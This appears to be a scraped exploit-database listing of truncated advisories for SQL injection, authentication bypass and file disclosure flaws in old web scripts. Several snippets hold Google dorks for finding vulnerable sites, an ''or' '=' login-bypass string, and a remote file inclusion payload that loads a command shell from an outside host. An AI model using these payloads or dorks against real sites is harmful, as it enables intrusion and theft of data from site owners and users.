Vastal I-Tech SQL Injection Vulnerability

No description provided by source. IN THE NAME OF GOD Vastal I-Tech SQL Injection Vulnerability Author : HELLBOY Tested on Lunix CVE : N/A Email : [email protected] Dork : inurl:viewgroup.php?groupid= Exploit : http://site/viewgroup.php?groupid=SQLI EXAM:...

EasySiteNetwork Jokes Complete Website 'joke.php' SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/32908/info EasySiteNetwork Jokes Complete Website is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow ...

Adobe ColdFusion 9 - Administrative Login Bypass

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include...

E.Z. Poll 2 - (Auth Bypass) Remote SQL Injection Vulnerability

No description provided by source. Description: E.Z. Poll = v.2 script Remote SQL injection Exploit discovered by t0fx aka xtof69 vendor : E.Z. vulnerable page : http://www.site.com/admin/login.asp exploit : Username : 'or' '=' Password : 'or' '=' Add, modify user : /admin/admin-users.asp...

Kartli Alisveris Sistemi 1.0 - Remote SQL Injection Vulnerability

No description provided by source. Discovered by: kerem125 & gsy Website: http://www.kerem125.com/ & http://www.by-gsy.org/ Script download: http://download.asprehberi.net/dosyalar/kategoriler/alisveris/freepaypalshoppingcarttr.zip Exploit:...

Barracuda Spam Firewall 3.3.x preview_email.cgi file Parameter Arbitrary File Access

No description provided by source. source: http://www.securityfocus.com/bid/19276/info Spam Firewall is prone to multiple vulnerabilities, including a directory-traversal issue, access-validation issue, and a remote command-execution issue. A remote attacker can exploit these issues to gain acces...

AJ Auction Web 2.0 - (cate_id) SQL Injection Vulnerability

No description provided by source. Auction Web 2.0 SQL Injection Vulnerability ======================================================== Author: Hussin X = = Home : www.tryag.cc/cc = = email: darkangelg85atYahooDoTcom = hussin.xathotmailDoTcom = =...

Social Community Script SQL Injection Vulnerability

No description provided by source. 1 1 0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1 Author: L0rd CrusAd3r aka VSN [email protected] Exploit Title:Social Community Script SQL Vulnerable Vendor...

Comdev Web Blogger <= 4.1.3 (arcmonth) SQL Injection Vulnerability

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV100$2008 ----------------------------------------------------------------------------------------- ECHOADV100$2008 Comdev Web Blogger = 4.1.3 arcmonth Sql Injection...

phpBazar <= 2.1.0 - Remote (Include/Auth Bypass) Vulnerabilities

No description provided by source. Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password:...

Joomla Component com_perchagallery SQL Injection Vulnerability

No description provided by source. Joomla Component comperchagallery SQL Injection Vulnerability Author :FL0RiX Name : comperchagallery Bug Type : SQL Injection Infection : Admin login bilgileri alinabilir. Demo Vuln : http://localhost/index.php?option=comperchagallery&view=editunidad&id=EXPLOIT...

e-webtech (fixed_page.asp) SQL Injection Vulnerability

No description provided by source. e-webtech fixedpage.asp SQL Injection Vulnerability Author : Fl0riX Name : e-webtech Bug Type : SQL Injection Infection : Admin login bilgileri alinabilir. Demo Vuln : http://site/fixedpage.asp?id=SQL Inj. User...

phpMyFamily <= 1.4.0 - SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w phpMyFamily Exploit injection ============================== $banner = phpMyFamily Exploit injection \n\n============================== \n\nINFGPG-Hacking&Security Research; Greats: AresU 1st IndoSec Team,ADZ Security Team has discovered bugs...

Web Slider <= 0.6 Insecure Cookie/Authentication Handling Vuln

No description provided by source. --==+================================================================================+==-- --==+ Web Slider = 0.6 Insecure Cookie/Authentication Handling +==-- --==+================================================================================+==-- Discovered...

gausCMS - Multiple Vulnerabilities

No description provided by source. ''' | / |/ \ /\ | | | | \ | \ / | | | | / \ | | | | | | | |/| | | | |/ /\ | | | | | | | | || / \ || | | | || ||// \/|/ http://www.exploit-db.com/moaub-21-gauscms-multiple-vulnerabilities/ ''' Abysssec Inc Public Advisory Title : gausCMS Multiple...

Mnews <= 1.1 (view.php) SQL Injection

No description provided by source. ??php / Exploit Title: Mnews = 1.1 SQL Injection Google Dork: inurl:mnews/view.php Google Dork: intitle:Mnews sistena de news Date: 03rd 06 2012 Software Link: http://phpbrasil.com/script/eo4aWVVzFd/mnews-sistema-de-noticias Version: 1.1 Tested on: Debian...

WebCards <= 1.3 - Remote SQL Injection Vulnerability

No description provided by source. -+================================================================================+- -+ WebCards = 1.3 Remote SQL Injection Vulnerability +- -+================================================================================+- Discovered By: t0pP8uZz Contact:...

LinkPal 1.0 - SQL Injection Vulnerability

No description provided by source. Tybe: Auth Bypass Remote SQL Injection Vulnerability Vendor:www.datachecknh.com ? ? Software:LinkPal v1.0 ? Price $$9.95 One-time fee ? author: R3d-D3v!L ? ? Date: 15.d3c.2009 ?T!ME: 08:14 p//\ ? Home: www.Xp10.Me ? ? E-MaiL : [email protected]...

WEBBDOMAIN Post Card <= 1.02 (catid) SQL Injection Vulnerability

No description provided by source. post Card catid Remote SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc MaiL : [email protected] script : http://webbdomain.com/php/postcarden/index2.php script : http://webbdomain.com/php/postcardir/index2.php DorK :...

Web Wiz NewsPad Express Edition 1.03 Database File Disclosure Vulnerability

No description provided by source. ============================================================= NewsPad Database Download Vulnerability ============================================================= Exploit Title: NewsPad Database Download Vulnerability Date: 15/11/2010 Author: keracker Software...